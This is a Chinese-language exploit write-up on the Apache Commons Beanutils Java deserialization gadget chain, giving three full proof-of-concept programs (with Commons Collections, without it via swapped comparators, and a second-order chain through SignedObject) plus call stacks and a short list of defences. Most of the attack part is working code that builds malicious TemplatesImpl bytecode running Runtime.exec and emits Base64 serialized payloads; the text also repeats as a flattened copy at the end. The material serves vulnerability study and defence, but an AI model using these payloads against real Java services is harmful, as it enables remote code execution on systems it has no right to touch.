commons-beanutils的三种利用原理构造与POC
字数 1815 2025-08-12 11:34:39

Apache Commons Beanutils 反序列化漏洞分析与利用

1. 概述

Apache Commons Beanutils 是一个用于操作 Java Bean 的工具包,提供了多种工具类如 MethodUtils、ConstructorUtils、PropertyUtils、BeanUtils 和 ConvertUtils 等,用于方便地对 bean 对象的属性进行操作。

2. 漏洞背景

在 Commons Collections (CC) 链的分析中,存在一条通过 java.util.PriorityQueuereadObject 方法触发的利用链。这条链的核心是通过调用 comparator 的 compare 方法,进而调用 transform 链。

2.1 CC 链调用流程

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
Runtime.exec()

3. CB 链构造原理

CB (Commons Beanutils) 链的思路是将 CC 链中的 comparator 替换为 Commons Beanutils 库中的某个 comparator。通过 CodeQL 分析,发现 BeanComparator 类可用于此目的。

3.1 BeanComparator 分析

BeanComparator 类用于判断两个 Bean 是否相等,其特点包括:

  • 构造时可指定自定义 comparator
  • 若无自定义 comparator,默认使用 ComparableComparator 对象
  • 调用链中会调用其 compare 方法

在 compare 方法中,会通过 PropertyUtils.getProperty 取出两个对象的 property 属性值,然后调用 internalCompare 方法进行比较。

3.2 PropertyUtils 分析

PropertyUtils.getProperty 方法接收两个参数:

  • bean:类对象
  • name:属性名

该方法不是直接通过反射取值,而是通过反射调用 getter 方法获取属性值,这使得我们可以通过精心构造触发任意 getter 方法。

4. 利用构造

4.1 依赖 CC 库的利用方式

目标是通过触发任意 getter 方法,调用 TemplatesImpl#getOutputProperties 方法执行命令。

4.1.1 创建恶意 TemplatesImpl 类

// 动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EVil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "RoboTerh");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

注意事项:

  • 使用 javassist 库创建恶意类生成字节码
  • 恶意类需要继承 AbstractTranslet

4.1.2 创建比较器和 PriorityQueue

// 创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);

// 反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

4.1.3 完整 POC

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB_withCC {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
        // 动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EVil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "RoboTerh");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        // 创建比较器
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 反射赋值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

4.1.4 调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, EVil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:57, CB_withCC (pers.cb)

4.2 不依赖 CC 库的利用方式

问题:默认 comparator 是 CC 依赖中的类,若无 CC 依赖会抛出异常。

解决方案:在创建类时赋予 JDK 或 Commons Beanutils 中存在的 comparator(需实现 Serializable 接口)。

4.2.1 可选 comparator

  • java.util.Collections$ReverseComparator
  • java.lang.String$CaseInsensitiveComparator

4.2.2 修改方式

// 反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
// 下面这两个二选一都可以
// setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});

4.2.3 完整 POC

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;

public class CB_withoutCC {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
        // 动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "RoboTerh");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

        // 创建比较器
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);

        // 反射赋值
        setFieldValue(beanComparator, "property", "outputProperties");
        // 下面这两个二选一都可以
        // setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        // 序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

4.3 二次反序列化利用

通过 SignedObject#getObject 方法可以实现二次反序列化,该方法会对 content 属性中的数据进行反序列化。

4.3.1 构造原理

  1. 创建恶意对象:
PriorityQueue queue1 = getpayload(obj, "outputProperties");
  1. 将对象传入 SignedObject:
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

4.3.2 完整 POC

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB_withoutCC_twice_deserialization {
    public static void setFieldValue(Object obj, String field, Object value) throws Exception{
        Field declaredField = obj.getClass().getDeclaredField(field);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }

    public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        setFieldValue(beanComparator, "property", string);
        setFieldValue(priorityQueue, "queue", new Object[]{object, null});
        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        // 生成恶意的bytecodes
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("evilexp");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ bytes });
        setFieldValue(obj, "_name", "RoboTerh");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        PriorityQueue queue1 = getpayload(obj, "outputProperties");

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

        PriorityQueue queue2 = getpayload(signedObject, "object");

        // 序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(queue2);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

4.3.3 调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, evilexp
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:70, CB_withoutCC_twice_deserialization (pers.cb)

5. 总结

本文详细分析了 Commons Beanutils 反序列化漏洞的三种利用方式:

  1. 依赖 CC 库的传统利用方式
  2. 不依赖 CC 库的改进利用方式
  3. 通过 SignedObject 实现的二次反序列化利用

关键点:

  • 利用 BeanComparator 触发任意 getter 方法
  • 通过 TemplatesImpl 执行任意代码
  • 通过替换 comparator 避免依赖 CC 库
  • 通过 SignedObject 实现二次反序列化绕过限制

防御措施:

  • 升级到安全版本的 Commons Beanutils
  • 限制反序列化操作
  • 使用白名单机制控制可反序列化的类
Apache Commons Beanutils 反序列化漏洞分析与利用 1. 概述 Apache Commons Beanutils 是一个用于操作 Java Bean 的工具包,提供了多种工具类如 MethodUtils、ConstructorUtils、PropertyUtils、BeanUtils 和 ConvertUtils 等,用于方便地对 bean 对象的属性进行操作。 2. 漏洞背景 在 Commons Collections (CC) 链的分析中,存在一条通过 java.util.PriorityQueue 的 readObject 方法触发的利用链。这条链的核心是通过调用 comparator 的 compare 方法,进而调用 transform 链。 2.1 CC 链调用流程 3. CB 链构造原理 CB (Commons Beanutils) 链的思路是将 CC 链中的 comparator 替换为 Commons Beanutils 库中的某个 comparator。通过 CodeQL 分析,发现 BeanComparator 类可用于此目的。 3.1 BeanComparator 分析 BeanComparator 类用于判断两个 Bean 是否相等,其特点包括: 构造时可指定自定义 comparator 若无自定义 comparator,默认使用 ComparableComparator 对象 调用链中会调用其 compare 方法 在 compare 方法中,会通过 PropertyUtils.getProperty 取出两个对象的 property 属性值,然后调用 internalCompare 方法进行比较。 3.2 PropertyUtils 分析 PropertyUtils.getProperty 方法接收两个参数: bean:类对象 name:属性名 该方法不是直接通过反射取值,而是通过反射调用 getter 方法获取属性值,这使得我们可以通过精心构造触发任意 getter 方法。 4. 利用构造 4.1 依赖 CC 库的利用方式 目标是通过触发任意 getter 方法,调用 TemplatesImpl#getOutputProperties 方法执行命令。 4.1.1 创建恶意 TemplatesImpl 类 注意事项: 使用 javassist 库创建恶意类生成字节码 恶意类需要继承 AbstractTranslet 类 4.1.2 创建比较器和 PriorityQueue 4.1.3 完整 POC 4.1.4 调用栈 4.2 不依赖 CC 库的利用方式 问题:默认 comparator 是 CC 依赖中的类,若无 CC 依赖会抛出异常。 解决方案:在创建类时赋予 JDK 或 Commons Beanutils 中存在的 comparator(需实现 Serializable 接口)。 4.2.1 可选 comparator java.util.Collections$ReverseComparator java.lang.String$CaseInsensitiveComparator 4.2.2 修改方式 4.2.3 完整 POC 4.3 二次反序列化利用 通过 SignedObject#getObject 方法可以实现二次反序列化,该方法会对 content 属性中的数据进行反序列化。 4.3.1 构造原理 创建恶意对象: 将对象传入 SignedObject: 4.3.2 完整 POC 4.3.3 调用栈 5. 总结 本文详细分析了 Commons Beanutils 反序列化漏洞的三种利用方式: 依赖 CC 库的传统利用方式 不依赖 CC 库的改进利用方式 通过 SignedObject 实现的二次反序列化利用 关键点: 利用 BeanComparator 触发任意 getter 方法 通过 TemplatesImpl 执行任意代码 通过替换 comparator 避免依赖 CC 库 通过 SignedObject 实现二次反序列化绕过限制 防御措施: 升级到安全版本的 Commons Beanutils 限制反序列化操作 使用白名单机制控制可反序列化的类